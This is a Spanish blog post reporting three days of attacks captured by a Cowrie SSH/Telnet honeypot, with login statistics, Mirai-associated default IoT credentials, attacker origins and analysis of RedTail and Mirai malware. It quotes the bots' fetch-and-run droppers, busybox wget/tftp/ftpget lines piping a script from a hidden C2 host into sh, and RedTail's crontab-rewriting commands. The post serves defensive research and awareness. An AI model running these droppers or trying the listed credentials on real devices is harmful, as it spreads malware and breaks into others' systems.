Hace unos días levanté un honeypot en un droplet de DigitalOcean y lo dejé expuesto en Internet con los puertos de SSH y Telnet abiertos.
Tardaron dos horas en encontrarme y tres segundos en intentar entrar.
¿Qué es un honeypot?
Un honeypot es un cebo. Un servidor que finge ser vulnerable para que los atacantes muerdan, y que existe con el único propósito de apuntar todo lo que hacen dentro.
La gracia está en que nada de lo que ven es real. Cuando un atacante prueba una contraseña, el honeypot puede simular una autenticación válida aunque las credenciales no correspondan a una cuenta real. Cuando escribe ls, le contesta con un listado de ficheros inventado. Si intenta descargar un programa, el honeypot se lo guarda en una carpeta para que lo analices después, pero no lo ejecuta jamás. El atacante cree que está dentro de un servidor y en realidad está hablando con un decorado.
¿Y para qué sirve? Para ver el ataque desde dentro sin arriesgar nada tuyo. Puedes saber qué contraseñas prueban, en qué orden, qué comandos escriben nada más entrar y qué malware intentan instalar — información que de otro modo tendrías que sacar de un servidor de verdad ya comprometido, con el estropicio que eso supone.
El que usé se llama Cowrie, es open source y uno de los honeypots SSH y Telnet más utilizados: graba cada sesión entera como si fuese un vídeo del terminal y guarda cada fichero que le sueltan. El despliegue básico es bastante sencillo.
Una advertencia antes de que te animes: un honeypot atrae ataques reales a propósito. Móntalo en una máquina desechable y aislada del resto de tu red, nunca en tu ordenador ni en tu casa.
Dicho esto, vamos a lo que cazó el mío en unas 70 horas: lo dejé corriendo el viernes por la tarde y lo he recogido hoy lunes, así que son casi tres días —viernes noche, sábado y domingo— sin tocar nada.
El resumen en cifras
| Métrica | Valor |
|---|---|
| Duración | ~70 horas (28–31 ago 2026) |
| Eventos totales registrados | 63.607 |
| Conexiones entrantes | 7.630 (5.370 SSH / 2.260 Telnet) |
| Direcciones IP únicas atacantes | 678 |
| Intentos de login | 6.128 |
| Comandos ejecutados | 12.502 |
| Descargas de malware | 166 (33 muestras únicas) |
Traducido: una máquina anónima, sin ningún nombre de dominio ni publicidad, recibió más de 2.500 conexiones al día. Internet escanea absolutamente todo, todo el tiempo.
Las contraseñas que prueban (spoiler: las de siempre)
El top de combinaciones usuario:contraseña de los 6.128 intentos de login:
| # | Credencial | Intentos |
|---|---|---|
| 1 | admin:admin |
155 |
| 2 | root:vizxv |
89 |
| 3 | root:xc3511 |
88 |
| 4 | root:admin |
80 |
| 5 | root:123456 |
78 |
| 6 | root:12345 |
65 |
| 7 | root:888888 |
64 |
| 8 | root:juantech |
55 |
| 9 | support:support |
52 |
| 10 | root:xmhdipc |
51 |
Si vizxv, xc3511, juantech o xmhdipc te suenan raras, es porque no son contraseñas humanas: son las claves de fábrica de cámaras IP, DVRs y routers baratos. Son la firma inconfundible de la botnet Mirai y sus variantes, que llevan desde 2016 barriendo dispositivos IoT.
Los usuarios más probados fueron root (2.490 veces) y admin (563), seguidos de sospechosos habituales como ubuntu, postgres, pi, minecraft… e incluso solana y sol, buscando nodos de criptomonedas.
Origen de los ataques
Sacando el whois de las 100 IPs más activas, el reparto por país:
- 🇳🇱 Países Bajos — 18
- 🇵🇰 Pakistán — 14
- 🇺🇸 Estados Unidos — 13
- 🇺🇦 Ucrania — 7
- 🇻🇳 Vietnam — 5
- 🇩🇪 Alemania — 5
- 🇧🇪 Bélgica — 5
- 🇦🇩 Andorra — 4
- Y una cola larga: Rusia, China, España, Argentina, Corea del Sur, Arabia Saudí…
Ojo con el matiz: "Países Bajos" no significa hackers holandeses. Significa hosting barato en centros de datos holandeses.
Las cuatro IPs más agresivas hicieron exactamente 785 conexiones cada una y pertenecían todas al mismo proveedor, tres de ellas además dentro del mismo rango. Ese patrón idéntico me hace suponer que detrás hay una operación coordinada desde servidores alquilados más que dispositivos infectados actuando por su cuenta, aunque con estos datos no lo puedo asegurar.
Qué intentaban instalar: cryptominers y botnets
Aquí está lo interesante. En cuanto "entraban", los bots ejecutaban su rutina de infección. La cadena de ataque más repetida fue esta joya de una sola línea:
/bin/busybox wget hxxp://<C2>/twget.sh -O- | sh
/bin/busybox tftp <C2> -g -r tftp.sh -l tftp.sh; chmod 777 tftp.sh && sh tftp.sh
/bin/busybox ftpget <C2> -P 8121 ftp.sh ftp.sh; chmod 777 ftp.sh && sh ftp.sh
Fíjate en la elegancia: intenta descargar el payload por HTTP, TFTP y FTP seguidos. Si un método falla o está bloqueado, prueba el siguiente. Robustez de manual.
No es sofisticación, es red de arrastre: el mismo dropper venía compilado para arquitecturas muy distintas —ARM, aarch64, MIPS, x86, PowerPC, RISC-V—, así que vale igual para un router, una cámara o un servidor.

El mismo dropper, una arquitectura para cada víctima. Un file sobre la carpeta de descargas. Y fíjate en mitad de la lista: entre las muestras también cayeron una clave privada y una pública de OpenSSH — algún atacante intentó dejarse la puerta abierta para volver.
Entre las 33 muestras únicas identifiqué dos familias principales de malware:
1. RedTail (minero de Monero)
Uno de los droppers destapó al conocido RedTail. Su instalador se descarga como redtail.$ARCH, detecta la arquitectura de la víctima y, antes de minar, hace limpieza de la competencia:
systemctl disable c3pool_miner
systemctl stop bot.service
# ...y sanea todos los crontabs eliminando otro malware
crontab -l | grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i' | crontab -
Es decir: mata a otros mineros y botnets que ya estuvieran en la máquina para quedarse él solo con la CPU. Territorio de bandas.
2. Variantes Mirai
El clásico. Comandos como /bin/busybox STC, ping; sh y enable / system / shell / sh son la huella de Mirai probando si el shell responde antes de soltar el binario. Los payloads se servían desde dos IPs consecutivas de otro proveedor holandés, con ficheros llamados parm, pmips, px86, kla.sh…
Reconocimiento sorprendentemente sofisticado
No todo eran bots tontos. Algunos atacantes lanzaban scripts de perfilado de sistema bastante currados, recopilando:
UPTIME, UNAME, ARCH, CPU_MODEL, CPUS, GPU (lspci | grep -i nvidia), LAST login...
El interés por la GPU y las NVIDIA apunta a dos posibilidades: minería o búsqueda de máquinas con capacidad de cómputo aprovechable.
También vi intentos de usar el honeypot como proxy: peticiones direct-tcpip hacia un servicio de consulta de IP pública, hacia un servidor propio del atacante en un puerto alto y hacia google.com:443. Estaban comprobando si la máquina servía para reenviar tráfico y anonimizar otras fechorías.
Quién llama a la puerta
Analizando la versión del cliente SSH, 4.733 de las 5.370 conexiones SSH —un 88%— venían de un cliente que se identifica como SSH-2.0-Go: una señal bastante habitual en escáneres masivos, especialmente porque Go permite generar binarios fácilmente desplegables en múltiples arquitecturas.

El censo de clientes SSH. Casi nueve de cada diez conexiones se presentaron como SSH-2.0-Go.
Al final de la lista hay dos entradas que ni siquiera son clientes SSH: GET / HTTP/1.1 (17 veces) y \x16\x03\x01\x01 (6), que es el principio de un saludo TLS. Son escáneres que lanzan una petición HTTP o TLS contra el puerto 22 sin comprobar antes qué protocolo hay al otro lado.
Tres lecciones que me llevo (o más bien, tres confirmaciones)
- La exposición es instantánea y constante. No hace falta ser un objetivo: si tienes una IP pública, te escanean en minutos. 2.500 golpes al día en una máquina que nadie conocía.
- Las credenciales por defecto son el verdadero agujero. Cambia las contraseñas por defecto, desactiva el login por contraseña y usa claves SSH.
- Esto es una economía industrializada. Droppers multi-arquitectura, malware que elimina a su competencia, reventa de proxies, caza de GPUs. No son "hackers en una capucha": son operaciones automatizadas a escala mundial buscando cualquier ciclo de CPU que robar.
Cómo están sacados los números
- La máquina: un droplet recién creado en DigitalOcean, sin dominio ni ningún servicio real detrás.
- La exposición: los puertos 22 y 23 abiertos a Internet y redirigidos a los 2222 y 2223, donde escucha Cowrie. Del 28 al 31 de agosto de 2026, unas 70 horas seguidas sin que yo tocara nada.
- El software: Cowrie con el registro en JSON, una línea por evento. Todas las cifras del artículo salen de ese fichero: un evento es una línea, una conexión es una sesión y una IP única es una dirección de origen distinta.
- Las muestras: Cowrie guarda cada fichero descargado con su hash SHA-256 por nombre, así que las 33 muestras únicas son 33 hashes distintos dentro de las 166 descargas. Las revisé con
file, sin ejecutar ninguna. - Los países: no es geolocalización fina, es el
whoisde las 100 IPs más activas, o sea el país donde está registrado el rango, no necesariamente donde está quien ataca. Las IPs y los servidores de C2 van ocultos a propósito.
Si quieres montar el tuyo, el código de Cowrie está en GitHub.
— Kharonte